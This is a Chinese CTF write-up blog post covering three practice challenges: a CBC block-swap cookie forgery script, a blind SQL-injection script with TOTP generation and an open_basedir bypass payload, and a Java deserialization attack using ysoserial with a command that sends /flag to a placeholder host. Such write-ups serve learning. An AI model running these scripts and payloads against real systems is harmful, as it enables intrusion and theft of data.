IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> buu-day06 -> 正文阅读

[Python知识库]buu-day06

前言: 今天是废物的一天,元旦三天还是要玩一下,不要卷了。

0x01 [BSidesCF 2019]Mixer

密码web 好题,希望后面可以来复现一波

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = "https://mixer-f3834380.challenges.bsidessf.net"
action="""?action=login&first_name=A1.00000000000000&last_name=paww"""
r = requests.get(url+action, verify=False, allow_redirects=False)
for c in r.cookies:
    print(c.name, c.value)
    if c.name == "user":
        c.value = c.value[:-32] + c.value[32:64] + c.value[-32:]

resp = requests.get(url, cookies = r.cookies, verify=False, allow_redirects=False)

print resp.text

这个题目首先得了解一下CBC加密的方式

分块加密,也就是16byte为一块。也就是exp中的payload要改成

{"first_name":"A
1.00000000000000
","last_name":"x
xxx","is_admin":
0}

现在就是分别对每一块进行加密,如果我们现在把第二块换到第五块的位置,那么就变成了

{"first_name":"A
1.00000000000000
","last_name":"x
xxx","is_admin":
1.00000000000000
0}

现在就满足条件了。这也是上面的exp需要表达的意识。

0x02 [De1CTF 2019]Giftbox

直接拿着赵总的wp学爆 好吧。conda的python不支持pyopt我也不知道为什么,大家别踩坑就好了。https://www.zhaoj.in/read-6170.html#0x03Giftbox

??知识点

  • sql注入
  • php语言特性

🅰?解题1 - sql注入

image-20220103091835125

打开题目是一个zsh的界面。我们发送一个请求之后开始抓包。

image-20220103091945572

我还以为直接就可以拿到shell了,但是仔细观察请求,发现了一个参数totp 吓得我赶忙去百度。

TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法

可以看到这个参数是加密的(废物文学,但是我们必须找到这个参数是从哪里来的,不然包都不能重放。(去找js文件。new TOTP("GAXG24JTMZXGKZBU",8).genOTP()所以这个参数我们也就可以自己生成了。

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
totp.now()

这样就可以输出获得正确的参数。我们继续收集信息。

cd ls cat hey hi hello help clear exit ~ 

这是同一个js文件的信息。

image-20220103092646426

在测试的发现了还有这几条指令,我们发现这里有一个登录点,但是我们不知道账号密码,于是我们先寻找无果。于是经典sql注入?

开始fuzz。

image-20220103093007153

猜测一下后端的语句难道是

$user= select * from users where username=$username;

if($user){
}
else{
}

很明显可以开始注入了。

import time
import requests
import pyotp
totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)
session = requests.session()
url = ""
def sql_injection(mid):
    '''
    :param mid: 输入payload
    :return: 返回是否正确 判断前后夹击的范围
    '''
    time.sleep(0.5)
    payload = f"login admin'/**/and/**/({mid})/**/and/**/'1'='1 123"
    # print(payload)
    a = session.get(url + '/shell.php',
        params={'a':payload,'totp':totp.now()}).text
    # print(a)
    if('password' in a ):
        return  True
    else:
        return  False
def gen_payload():
    '''
    生成payload
    :return:
    '''
    db_payload ="select/**/concat(password)/**/from/**/users"
    res=''
    for x in range(1,64):
        payload = f"ascii(substr(({db_payload}),{x},1))"
        res += chr(half(payload))
        print(res)
    print("[+]" + res)
def half(payload):
    '''
    二分法主体部分
    :param payload:
    :return:
    '''
    low = 0
    high = 126
    while low <= high:
        mid = (low + high) / 2
        mid_num_payload="%s/**/>/**/%d"%(payload,mid)
        if(sql_injection(mid_num_payload)):
            low = mid + 1
        else:
            high = mid -1
    mid_num = int((low + high + 1) / 2)
    return mid_num


def main():
    gen_payload()


if __name__ == '__main__':
    main()

buu的记得要设置延时,不然会被你ipban了。

image-20220103103439593

后面这个命令,我们看到了双引号,所以{$a()}.懂得都懂。

最后绕过open_base

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

payload拆分一下就可以了。

0x03[网鼎杯 2020 朱雀组]Think Java

🅰?jdbc注入

第一步这里的注入是要分成两步的。

image-20220103110637881

image-20220103110645071

你注入的语句不能影响他正常的连接的同时还要能够注入数据。

myapp?a=1' union select pwd from user; #

这也是他们说的无用字符不生效。

admin@Rrrr_ctf_asde

🅱?java反序列化

image-20220103110834039

登录成功之后不难发现,一串数据。

盲猜这个接口。

image-20220103110942135

对数据进行了反序列化。然后我们应该对这个数据

https://www.cnblogs.com/h3zh1/p/12914439.html

然后用ysoserial-master.jar小何yyds

ysoserial用法:以ROME和URLDNS举例
即用ROME(我现在的认知就是他每一种都有不同的作用,比如rome可以命令执行,URLDNS可以进行dns回显)。

yyds!

java -jar ysoserial-master.jar ROME "curl http://xxx -d @/flag" > dem0.bin

然后用ysoserial-master.jar小何yyds

ysoserial用法:以ROME和URLDNS举例
即用ROME(我现在的认知就是他每一种都有不同的作用,比如rome可以命令执行,URLDNS可以进行dns回显)。

yyds!

java -jar ysoserial-master.jar ROME "curl http://xxx -d @/flag" > dem0.bin

第一次使用yso工具解题,做到拿到密码就不会的web废物解决了。

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-01-04 13:23:24  更:2022-01-04 13:24:12 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 3:51:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码